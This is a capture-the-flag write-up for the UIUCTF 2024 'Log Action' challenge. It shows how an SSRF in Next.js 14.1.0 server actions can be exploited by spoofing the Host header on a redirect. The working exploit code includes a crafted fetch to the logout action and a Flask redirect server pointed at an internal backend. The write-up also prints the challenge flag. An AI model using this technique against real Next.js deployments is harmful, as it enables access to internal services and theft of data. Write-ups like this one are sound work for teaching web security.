UIUCTF 2024 — Log Action
I keep trying to log in, but it's not working :'(
http://log-action.challenge.uiuc.tf/
We're given a simple Next.js + Next Auth site with a simple login / logout implementation:
Code (tsx):
1"use client";
2import { useFormStatus, useFormState } from "react-dom";
3import { authenticate } from "@/lib/actions";
4
5export default function LoginPage() {
6 const [state, formAction] = useFormState(
7 authenticate,
8 undefined
9 );
10
11 const { pending } = useFormStatus();
12
13 return (
14 <>
15 <div className="max-w-prose mx-auto flex flex-col gap-4">
16 <p className="text-2xl font-bold">
17 Login
18 </p>
19 <form action={formAction} className="flex flex-col gap-4">
20 <label className="flex flex-col gap-1">
21 <span>Username</span>
22 <input
23 type="username"
24 id="username"
25 name="username"
26 placeholder="Enter your username"
27 required
28 minLength={3}
29 />
30 </label>
31 <label className="flex flex-col gap-1">
32 <span>Password</span>
33 <input
34 type="password"
35 id="password"
36 name="password"
37 placeholder="Enter your password"
38 required
39 minLength={10}
40 />
41 </label>
42 <button type="submit" disabled={pending}>
43 Log in
44 </button>
45 {state ? (
46 <span className="text-sm text-red-500">
47 {state}
48 </span>
49 ) : null}
50 </form>
51 </div>
52 </>
53 )
54}
The main idea here comes from the SSRF in server actions section of this blog.
Essentially, for Next.js < 14.1.1, calls to redirect()
in server actions that use a relative path (ex. /path
) will use the request's Host
header to construct the absolute URL to redirect to. It then fetches this URL on the server to deliver to the client, resulting in SSRF.
Luckily, the challenge is running Next.js 14.1.0 and is therefore vulnerable to this attack!
Code (json):
1 "next": "14.1.0",
First, we need to find a server action to call that always results in a redirect. Looking in /logout/page.tsx
,
Code (tsx):
1import Link from "next/link";
2import { redirect } from "next/navigation";
3import { signOut } from "@/auth";
4
5export default function Page() {
6 return (
7 <>
8 <h1 className="text-2xl font-bold">Log out</h1>
9 <p>Are you sure you want to log out?</p>
10 <Link href="/admin">
11 Go back
12 </Link>
13 <form
14 action={async () => {
15 "use server";
16 await signOut({ redirect: false });
17 redirect("/login");
18 }}
19 >
20 <button type="submit">Log out</button>
21 </form>
22 </>
23 )
24}
it looks like we can trigger this inline server action to do just that. We can manually call this action via
Code (js):
1const formData = new FormData();
2formData.set('1_$ACTION_ID_c3a144622dd5b5046f1ccb6007fea3f3710057de', '');
3formData.set('0', '["$K1"]');
4
5await (await fetch('http://log-action.challenge.uiuc.tf/logout', {
6 method: 'POST',
7 headers: {
8 'Next-Action': 'c3a144622dd5b5046f1ccb6007fea3f3710057de',
9 // 'Host': '...'
10 },
11 body: formData
12})).text()
editing the Host
header to the URL of our exploit server. We can look in the docker-compose file to find that the flag is statically hosted by nginx
at http://backend/flag.txt
:
Code (yml):
1version: '3'
2services:
3 frontend:
4 build: ./frontend
5 restart: always
6 environment:
7 - AUTH_TRUST_HOST=http://localhost:3000
8 ports:
9 - "3000:3000"
10 depends_on:
11 - backend
12 backend:
13 image: nginx:latest
14 restart: always
15 volumes:
16 - ./backend/flag.txt:/usr/share/nginx/html/flag.txt
Then, we can set up a Flask server to redirect our redirect()
call to that URL and invoke the logout action to get the flag.
Code (py):
1from flask import Flask, Response, request, redirect
2app = Flask(__name__)
3
4
5@app.route('/', defaults={'path': ''})
6@app.route('/<path:path>')
7def catch(path):
8 if request.method == 'HEAD':
9 resp = Response("")
10 resp.headers['Content-Type'] = 'text/x-component'
11 return resp
12 return redirect('http://backend/flag.txt')
Code:
1uiuctf{close_enough_nextjs_server_actions_welcome_back_php}